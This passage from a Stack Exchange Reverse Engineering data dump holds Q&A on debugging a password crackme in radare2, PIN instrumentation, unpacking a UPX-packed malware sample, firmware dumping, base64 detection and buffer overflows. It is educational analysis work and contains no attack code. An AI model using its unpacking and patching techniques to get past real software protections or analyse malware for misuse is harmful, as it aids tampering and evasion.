(C:\Windows\SysWOW64\ntdll.dll) ntdll.dll&#xA;(5448) unloading library at 000C0000 (not cached) not cached&#xA;(5448) unloading library at 75580000 (not cached) not cached&#xA;(5448) unloading library at 00610000 (not cached) not cached&#xA;(5448) loading library at 75580000 (C:\Windows\SysWOW64\kernel32.dll) kernel32.dll&#xA;(5448) loading library at 73A60000 (C:\Windows\SysWOW64\KernelBase.dll) KernelBase.dll&#xA;(5448) loading library at 74060000 (C:\Windows\SysWOW64\msvcrt.dll) msvcrt.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand why I don't hit the break point. Also, I am obligated to execute twice the &lt;em&gt;dc&lt;/em&gt; command to see : &lt;em&gt;wrong password&lt;/em&gt;.&#xA;My goal is to change the rip next addess.&lt;/p&gt;&#xA;" OwnerUserId="26974" LastActivityDate="2019-01-05T21:18:14.097" Title="Debug point not hit with radare2" Tags="|binary-analysis|radare2|binary|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20285" PostTypeId="1" CreationDate="2019-01-04T22:31:47.170" Score="1" ViewCount="6996" Body="&lt;p&gt;Looking to find the meaning of this statement. From what I understand its comparing 0 with value of EBP register - 9, but I don't understand what the &lt;code&gt;byte ptr&lt;/code&gt; does. &lt;/p&gt;&#xA;" OwnerUserId="26975" LastEditorUserId="245" LastEditDate="2019-01-06T20:36:52.797" LastActivityDate="2019-01-06T20:38:03.723" Title="Meaning of cmp byte ptr [EBP-9], 0" Tags="|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20286" PostTypeId="2" ParentId="20272" CreationDate="2019-01-05T00:15:55.880" Score="1" Body="&lt;p&gt;After searching for the constant &lt;code&gt;'XLNX'&lt;/code&gt;, it turns out this firmware file format is defined &lt;a href=&quot;https://github.com/TheBlueMatt/u-boot/blob/master/tools/zynqmpimage.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. You're lucky because the encryption field is set to 0x0 (None).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question is, what do you really want to do with this image? You only want to extract image files?&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-01-05T00:15:55.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20287" PostTypeId="2" ParentId="20285" CreationDate="2019-01-05T04:46:06.713" Score="11" Body="&lt;p&gt;Let's break this down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we have the mnemonic: &lt;code&gt;cmp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you state, it performs a compare, though in truth it performs a subtraction (first operand minus the second) without storing the result, but still setting flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, we have the first operand: &lt;code&gt;byte ptr [EBP-9]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This itself needs to be broken down.  &lt;code&gt;EBP-9&lt;/code&gt; is simple math, take the value of the EBP register and subtract nine from it.  The square brackets mean to then take that result and treat it like an address to a location in memory.  The &lt;code&gt;byte ptr&lt;/code&gt; tells you how large of a value to grab from that memory location, in this case a single byte.  If it were a &lt;code&gt;word ptr&lt;/code&gt;, then you would dereference two bytes (in little-endian byte-order, since this is Intel architecture I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the second operand is a straightforward immediate value: &lt;code&gt;0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, all together, that instruction is saying to compare zero with the single byte at address pointed to by &lt;code&gt;EBP-9&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your next question is &quot;why&quot;, then you'll need to look at the other instructions before and maybe after that for context of where EBP is getting its value from (often, though not always, as a base pointer for the current function's stack frame).  Sometimes you can tell from just looking at the the disassembly, sometimes it's easier to run it in a debugger and set a breakpoint on or before the instructions you want to inspect.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastEditorUserId="245" LastEditDate="2019-01-06T20:38:03.723" LastActivityDate="2019-01-06T20:38:03.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20288" PostTypeId="2" ParentId="20258" CreationDate="2019-01-05T08:03:14.510" Score="2" Body="&lt;p&gt;It is probably due to the fact that you are trying to use &lt;code&gt;r2&lt;/code&gt; - a native disassembler/debugger to a .NET assembly which written in managed language and executed under CLR - Common Language Runtime. This line from your output gives that away&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.NET Version: v4.0.30319&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How .NET works is, that before execution, there should be no user provided native code (there are some exceptions that one can force compilation to a native platform) and only an entry point is visible - which you see without debugging. After running the file - it starts from the entry point and by using a &lt;code&gt;JIT&lt;/code&gt; (Just-in-time compiler) compiling the &lt;code&gt;IL&lt;/code&gt; to native code on the platform you are running on. This might be the reason you see all those methods when you list them while debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you use a decompiler/debugger suited for .NET assemblies such as &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2019-01-06T20:08:20.127" LastActivityDate="2019-01-06T20:08:20.127" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20289" PostTypeId="1" AcceptedAnswerId="20292" CreationDate="2019-01-05T08:07:39.437" Score="0" ViewCount="1009" Body="&lt;p&gt;I am modifying PIN's  proccount sample to get the memory access information per function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; VOID Routine(RTN rtn, VOID *v)&#xA;{&#xA;&#xA;    // Allocate a counter for this routine&#xA;    RTN_COUNT * rc = new RTN_COUNT;&#xA;    rc-&amp;gt;_name = RTN_Name(rtn);&#xA;    rc-&amp;gt;_image = StripPath(IMG_Name(SEC_Img(RTN_Sec(rtn))).c_str());&#xA;    rc-&amp;gt;_address = RTN_Address(rtn);&#xA;&#xA;    rc-&amp;gt;_next = RtnList;&#xA;    RtnList = rc;&#xA;&#xA;    RTN_Open(rtn);&#xA;fprintf(trace,&quot;%s\n&quot;,rc-&amp;gt;_name.c_str());( writing functio name )&#xA;     RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)docount, IARG_PTR, &amp;amp;(rc-&amp;gt;_rtnCount), IARG_END);&#xA;       // RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)RecordMemRead1, &amp;amp;(rc-&amp;gt;_name),rc-&amp;gt;_address, IARG_END);(this gave an error)&#xA;        // For each instruction of the routine&#xA;        for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins))&#xA;        {&#xA;&#xA;        UINT32 memOperands = INS_MemoryOperandCount(ins);&#xA;    // Iterate over each memory operand of the instruction.&#xA;         for (UINT32 memOp = 0; memOp &amp;lt; memOperands; memOp++)&#xA;    {&#xA;        if (INS_MemoryOperandIsRead(ins, memOp))&#xA;        {&#xA;            INS_InsertPredicatedCall(&#xA;                ins, IPOINT_BEFORE, (AFUNPTR)RecordMemRead,&#xA;                IARG_INST_PTR,&#xA;                IARG_MEMORYOP_EA,memOp,IARG_END); (file trace is modified here)&#xA;&#xA;        }&#xA;    }&#xA;    }&#xA;&#xA;    RTN_Close(rtn);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am getting output like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dl_find_dso_for_object&#xA;__get_cpu_features&#xA;__libc_memalign&#xA;malloc&#xA;calloc&#xA;free&#xA;realloc&#xA;0   0x7fcecff419dd  :R  0x7fced0165e70&#xA;0   0x7fcecff419e7  :R  0x7fced0166000&#xA;0   0x7fcecff41a57  :R  0x7fced0165e80&#xA;0   0x7fcecff41a57  :R  0x7fced0165e90&#xA;0   0x7fcecff41a57  :R  0x7fced0165ea0&#xA;0   0x7fcecff41a57  :R  0x7fced0165eb0&#xA;0   0x7fcecff41a57  :R  0x7fced0165ec0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need per-function memory list like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dl_find_dso_for_object&#xA;0   0x7fcecff419dd  :R  0x7fced0165e70&#xA;    0   0x7fcecff419e7  :R  0x7fced0166000&#xA;    0   0x7fcecff41a57  :R  0x7fced0165e80&#xA;    0   0x7fcecff41a57  :R  0x7fced0165e90&#xA;;;;&#xA;malloc&#xA;0x7fcecff41a57  :R  0x7fced0165ea0&#xA;    0   0x7fcecff41a57  :R  0x7fced0165eb0&#xA;    0   0x7fcecff41a57  :R  0x7fced0165ec0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I achieve it?&lt;/p&gt;&#xA;" OwnerUserId="26981" LastEditorUserId="60" LastEditDate="2019-01-05T16:39:46.460" LastActivityDate="2019-01-07T06:38:08.537" Title="how to get per-function memory accesses using PIN tool" Tags="|pintool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20290" PostTypeId="2" ParentId="20076" CreationDate="2019-01-05T17:58:01.023" Score="2" Body="&lt;p&gt;This may either be packed multiple times or contain additional obfuscations or anti-analysis.  Use the &quot;PUSHAD, breakpoint on ESP, run&quot; method to find the tail transition, as you have.  Then set a breakpoint on the tail transition (in your case, JMP 0002A99E) and run to that.  The single-step to take the jmp and you'll be at the OEP, or the next stage of packing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to figure out if you have it unpacked is to dump at this point (using &lt;a href=&quot;https://low-priority.appspot.com/ollydumpex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDumpEx&lt;/a&gt;, for example) and load it in your typical tools (IDA, exeinfo, PEiD, etc) to see what it looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do this with your binary, I'm seeing what looks like some typical setup code, but then after the call to initterm, at 0040A7F2 there is a call using a memory address that contains zeros (hover over the dword_xxxx value to see).  If you look back just a little bit, you'll see a call to a sub_xxxx that takes as an argument that dword_xxxx address.  Diving into that function and the functions it calls, it looks like there is some parsing of the PE header (see cmp's with immediate values 5A4Dh and 4550h).  In malware, this is typically done to find where kernel32 or other modules are in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to that, look at the Imports and you can see that there are references to LoadLibrary and GetProcAddress.  If you look for those cross-references (aka xrefs), then you'll find functions that look like they have encoded values (a bunch of xor instructions in a row with immediates), so possibly dynamically rebuilding the IAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's more info than you need to get past the UPX unpacking stage, but this malware has more anti-analysis techniques than just UPX packing, so you might have additional questions.  The &lt;a href=&quot;https://nostarch.com/malware&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Malware Analysis book&lt;/a&gt; has a good description of what you'll want to do next, and is generally a good reference, but feel free to start more questions on stackexchange if you want more help!&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-01-05T17:58:01.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20291" PostTypeId="2" ParentId="20284" CreationDate="2019-01-05T21:18:14.097" Score="3" Body="&lt;p&gt;Your breakpoint doesn't work as it is put in the part of the code that is not executed with the pass your provided. I'll try not to give too much hint so that you can still solve it by yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wrote&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now I can see that the instruction | ========&amp;lt; 0x0040178f 7519 jne 0x4017aa compare the password with the parameter passed as argument.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is wrong. It doesn't not compare 'the password', it compare one of the character of the password. If you check the code there are some other instructions that are being executed and already validated your password as wrong so the line at &lt;code&gt;0x40178f&lt;/code&gt; is not even reached with 'ABadPassword' passed as an argument. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to analyse code more carefully and see where earlier in the code the breakpoint should be put.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your second problem&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, I am obligated to execute twice the dc command to see : wrong password.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There might be some debug event that &lt;code&gt;radare2&lt;/code&gt; responds to with the break of your code execution, thus require you to decide what to do. If it's not exceptional then &lt;code&gt;dc&lt;/code&gt; should get execution further.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-01-05T21:18:14.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20292" PostTypeId="2" ParentId="20289" CreationDate="2019-01-06T07:29:20.227" Score="0" Body="&lt;p&gt;You can pass an additional argument to &lt;code&gt;INS_InsertPredicatedCall&lt;/code&gt; with the string name and construct a map with function names with (instruction, addr). Parse that map in &lt;code&gt;PIN_AddFiniFunction&lt;/code&gt; added callback. Here's a simple example. Implement your mapping in &lt;code&gt;RecordMemRead&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;map&amp;lt;string, vector&amp;lt;pair&amp;lt;UINT64, UINT64&amp;gt;&amp;gt;&amp;gt; RtnToRead;&#xA;&#xA;VOID RecordMemRead(ADDRINT address, UINT64 memOp, string rname) {&#xA;    RtnToRead[rname].pb(mp(address, memOp));&#xA;}&#xA;&#xA;VOID Routine(RTN rtn, VOID *v) {&#xA;&#xA;    RTN_Open(rtn);&#xA;&#xA;    string name = RTN_Name(rtn);&#xA;&#xA;    for (INS ins = RTN_InsHead(rtn); INS_Valid(ins); ins = INS_Next(ins)) {&#xA;&#xA;        UINT32 memOperands = INS_MemoryOperandCount(ins);&#xA;        for (UINT32 memOp = 0; memOp &amp;lt; memOperands; memOp++) {&#xA;            if (INS_MemoryOperandIsRead(ins, memOp)) {&#xA;                INS_InsertPredicatedCall(ins, IPOINT_BEFORE,&#xA;                                         (AFUNPTR)RecordMemRead, IARG_INST_PTR,&#xA;                                         IARG_MEMORYOP_EA, memOp, IARG_PTR,&#xA;                                         new string(name), IARG_END);&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    RTN_Close(rtn);&#xA;}&#xA;&#xA;VOID Fini(INT32 code, VOID *v) {&#xA;    for (auto &amp;amp;rtn : RtnToRead) {&#xA;        cout &amp;lt;&amp;lt; rtn.fs &amp;lt;&amp;lt; &quot; :&quot; &amp;lt;&amp;lt; endl;&#xA;        for (auto &amp;amp;e : rtn.second) {&#xA;            cout &amp;lt;&amp;lt; &quot;\t&quot; &amp;lt;&amp;lt; hex &amp;lt;&amp;lt; e.fs &amp;lt;&amp;lt; &quot; : &quot; &amp;lt;&amp;lt; e.sc &amp;lt;&amp;lt; endl;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added a simple example &lt;a href=&quot;https://gist.github.com/sudhackar/b3c355ff7f39c2a30c19c88053b60939&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : I have copied code from the gist which fits your case perfectly.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2019-01-07T06:38:08.537" LastActivityDate="2019-01-07T06:38:08.537" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20293" PostTypeId="1" CreationDate="2019-01-06T14:17:56.013" Score="2" ViewCount="351" Body="&lt;p&gt;I recently got a UE Megaboom Bluetooth speaker. Apart from various audio profiles, I noticed the speaker also exposes a Serial Port BT profile. I suspect this is the channel the app uses to control the speaker’s advanced features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to connect to the port using a terminal app, using various baud rates and sending it &lt;code&gt;?&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;/code&gt; and &lt;code&gt;AT?&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;/code&gt;, respectively—to no avail. The speaker will not return a single bit of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A web search on the most common terms did not return any useful information on the protocol used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any information out there on the protocol used by the Megaboom? Or does anyone know of any attempts at decoding it?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I now have some captured traffic from the official app. BTW, if another device is holding the serial port connection, the app will not recognize the speaker, corroborating my suspicion that SPP is the control channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In two captures I see that initially the app sends &lt;code&gt;02 00 06&lt;/code&gt; (hex) over the SPP connection, to which the speaker responds with &lt;code&gt;&amp;lt;CR&amp;gt;&amp;lt;NUL&amp;gt;&amp;lt;BEL&amp;gt;MEGABOOM&lt;/code&gt; (three control characters followed by the product name as a string).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I connect to the speaker’s SPP and send these three characters (using moserial, sending input as hex), the speaker does not respond at all. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="26989" LastEditorUserId="26989" LastEditDate="2019-01-11T00:24:55.873" LastActivityDate="2019-01-11T00:24:55.873" Title="UE Megaboom serial protocol" Tags="|serial-communication|protocol|bluetooth|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20295" PostTypeId="1" CreationDate="2019-01-07T00:57:03.407" Score="4" ViewCount="1725" Body="&lt;p&gt;I have a VW Radio which has the possibility to upgrade software via USB. Unfortunately I am not able to find any updates, nor any information regarding the current Software version on the whole internet. So I decided to try to dump the files directly from the unit. My question is how can I perform the dump without physically removing the EEPROM from the board. Is there any possibility to access something through the USB port?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its market name is RCD 320 on european Market and RCN 210 on Asian market. I do not know what is inside of the unit - as far as I have seen searching the internet, some VW units are using ARM processors and Linux 3.0.5, but this is everything I know so far, as there is no information about these units (neither regarding the SW, nor the HW).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be appreciated as I am a new in this domain, but I have some electronic skills and also programming skills. &lt;/p&gt;&#xA;" OwnerUserId="26993" LastEditorUserId="245" LastEditDate="2019-01-09T11:14:04.730" LastActivityDate="2020-06-02T15:03:25.360" Title="How to dump firmware from car head-unit (VW Radio)" Tags="|firmware|operating-systems|dump|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20296" PostTypeId="1" CreationDate="2019-01-07T14:46:29.030" Score="0" ViewCount="604" Body="&lt;p&gt;I am a developer but I do not have much experience with IDA/reverse-engineering. Now I have to analyse a compiled program.&#xA;Currently I try to debug a simple wininet.dll:wininet_InternetReadFile-function and I wonder: where can I see the concrete arguments for this function while debugging?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am at this point: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jsUIy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jsUIy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty sure you can (almost) see the arguments (or at least its address) in this screenshot. But I am a beginner in reverse engineering. I don't get it/don't see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the easiest/best way to get the URL that should be downloaded in this case?&lt;/p&gt;&#xA;" OwnerUserId="26779" LastEditorDisplayName="user12114" LastEditDate="2019-01-19T08:54:23.813" LastActivityDate="2019-10-16T11:01:30.160" Title="Show arguments while debugging" Tags="|ida|debugging|arguments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20297" PostTypeId="1" CreationDate="2019-01-07T15:48:25.643" Score="0" ViewCount="652" Body="&lt;p&gt;When a program is executed, some processes may be created by the parent process. Especially, if a program is malware, created (or forked or even injected) sub-processes will be named as a systemic process such as svchost.exe.&#xA;Is there any way to capture the PID of sub-processes in windows?&lt;/p&gt;&#xA;" OwnerUserId="21812" LastActivityDate="2019-03-13T10:01:25.370" Title="capturing the sub processes's PID of a process" Tags="|malware|python|process|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20299" PostTypeId="1" AcceptedAnswerId="20304" CreationDate="2019-01-07T17:07:10.923" Score="0" ViewCount="2595" Body="&lt;p&gt;How to identify in assembly base 64 encode/decode with Ida. Is there any magic constant that I can search? Or maybe a plugin that find that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FindCrypt2&lt;/code&gt;  Ida plugin not find that&lt;/p&gt;&#xA;" OwnerUserId="23993" LastActivityDate="2019-01-10T00:33:50.120" Title="How to identify base64 encode/decode in assembly" Tags="|ida|assembly|ida-plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20300" PostTypeId="2" ParentId="20299" CreationDate="2019-01-07T17:22:25.100" Score="3" Body="&lt;p&gt;The common base64 key contains &lt;code&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&lt;/code&gt;. However, remember that IDA Pro will convert ASCII text for you, so you should have no reason to go looking through the raw bytes of the file in hex. In fact, even a hex editor such as HxD or 010 Editor will convert the string data from hex bytes to chars and display them on the right side of the screen. See below an example in 010 Editor of such key:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oAcVI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAcVI.png&quot; alt=&quot;010 Editor Base64 key in binary&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in IDA Pro IDA View window looking at segments:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/t1a8n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t1a8n.png&quot; alt=&quot;IDA Pro Base64 Key&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro Strings window (can use Ctrl+F here):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/m4rNX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m4rNX.png&quot; alt=&quot;IDA Pro base64 key strings window&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, if you need to go looking for a constant, use &lt;a href=&quot;http://ascii%20table&quot; rel=&quot;nofollow noreferrer&quot;&gt;the ASCII table&lt;/a&gt; and convert the above string into bytes manually. E.G. 'A' is 41h, 'B' is 42h, so if we were looking for AB, we'd be looking for 41 42. Don't forget to take into account the endianness of the target architecture of the software system you are working with; if the bytes are stored on disk in little endian for the file format, than the base64 key's bytes will be encoded backwards and you will need to search for it as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One caveat here is that the aforementioned Base64 key is the &lt;em&gt;standard&lt;/em&gt; Base64 key. You may need to search for &lt;em&gt;modified Base64 keys&lt;/em&gt;, meaning that instead of &lt;code&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&lt;/code&gt; we have &#xA;something like &lt;code&gt;FGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDE&lt;/code&gt;. You can see that with this modified Base64 key, we've simply rotated the key to the left 5 times so that if a decoding algorithm were to attempt to decode this as standard Base64, it would not work.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2019-01-07T17:45:15.980" LastActivityDate="2019-01-07T17:45:15.980" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20301" PostTypeId="1" CreationDate="2019-01-07T21:04:59.140" Score="-2" ViewCount="2032" Body="&lt;p&gt;Why using &lt;code&gt;memcpy&lt;/code&gt; can cause to stack overFlow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;memcpy&lt;/code&gt; get the number of bytes to copy, so what is the problem , and how &lt;code&gt;memcpy_s&lt;/code&gt; fix it?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastActivityDate="2019-01-08T00:08:18.193" Title="Why dont use memcpy?" Tags="|c|buffer-overflow|stack|" AnswerCount="1" CommentCount="0" ClosedDate="2019-01-08T02:05:08.977" ContentLicense="CC BY-SA 4.0" />
  <row Id="20302" PostTypeId="2" ParentId="20301" CreationDate="2019-01-08T00:08:18.193" Score="1" Body="&lt;p&gt;A buffer overflow happens when a program tries to write too much data into a buffer, or other data structure.  The extra data &quot;overflows&quot; the buffer writes over the data structure immediately following the buffer in memory.  memcpy allows you to specify the number of bytes to copy, but if that value varies, such as when it is dependent on user input, then your destination buffer might not be big enough. &#xA; The &lt;a href=&quot;https://en.wikipedia.org/wiki/Buffer_overflow&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia page&lt;/a&gt; has a good example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-s-wmemcpy-s&quot; rel=&quot;nofollow noreferrer&quot;&gt;memcpy_s&lt;/a&gt; has an additional parameter, where you can specify the destination buffer size.  This allows memcpy_s to perform additional checks on the input, and error if the number of bytes to copy is greater than the destination buffer size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a good introduction to exploit analysis, see &lt;a href=&quot;http://opensecuritytraining.info/Exploits1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this course material and videos&lt;/a&gt;.  Full disclosure: I am a contributor to that website, though not to that particular class material.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-01-08T00:08:18.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20303" PostTypeId="2" ParentId="20297" CreationDate="2019-01-08T00:24:49.153" Score="0" Body="&lt;p&gt;As mentioned by anion, you can use several graphical applications to see this information.  One such application built-in to Windows is the Task Manager.  Right-click on the task bar and you will see it in that menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer command-line, you can use tasklist (again, built-in to Windows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to perform malware analysis, and you are looking for an automated solution, then I suggest using a sandbox.  A popular free and opensource one is &lt;a href=&quot;https://cuckoosandbox.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cuckoo Sandbox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are analyzing the malware by hand, then you will have to look for the different ways that you mention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa&quot; rel=&quot;nofollow noreferrer&quot;&gt;CreateProcess&lt;/a&gt; takes a pointer to a PROCESS_INFORMATION structure as its tenth argument.  After CreateProcess returns, you can look at this structure to find the PID of the child.  A simpler way would be to breakpoint on CreateProcess, modify the dwCreationFlags to include &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/procthread/process-creation-flags&quot; rel=&quot;nofollow noreferrer&quot;&gt;SUSPENDED&lt;/a&gt;, step-over the CreateProcess call, then run either Task Manager or tasklist to see the child process's PID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openprocess&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenProcess&lt;/a&gt; is easier.  It takes the PID as the third argument.  So when you see a call to OpenProcess, just look at the arguments to find the PID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on which tools you are using, you may be able to script this, such as with IDA Python, OllyScript, or x64dbg's or WinDbg's built-in scripting.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-01-08T00:24:49.153" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20304" PostTypeId="2" ParentId="20299" CreationDate="2019-01-08T00:37:33.890" Score="1" Body="&lt;p&gt;One of the ways &lt;a href=&quot;http://opensecuritytraining.info/ReverseEngineeringMalware.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;that I have taught&lt;/a&gt; (see Day 1 Part 11) to find a base64 alphabet is to look for a sequence of 64 bytes with an &lt;a href=&quot;https://rosettacode.org/wiki/Entropy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shannon entropy&lt;/a&gt; of 6 (on a scale of 1-8).  Beware that in addition to Base64 alphabets, that will also find other high-entropy data, such as compressed or encrypted code or strings, as well as encryption constants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your standard Base64 alphabet, using IDA, press alt-B, then enter (including the double-quotes) &quot;ABCDEFGHIJKLMNOPQRSTUV&quot; or some other subset of the standard alphabet.  I recommend also selecting the &quot;find all&quot; option, which makes it easier to see and skip false matches.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastEditorUserId="26921" LastEditDate="2019-01-10T00:33:50.120" LastActivityDate="2019-01-10T00:33:50.120" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
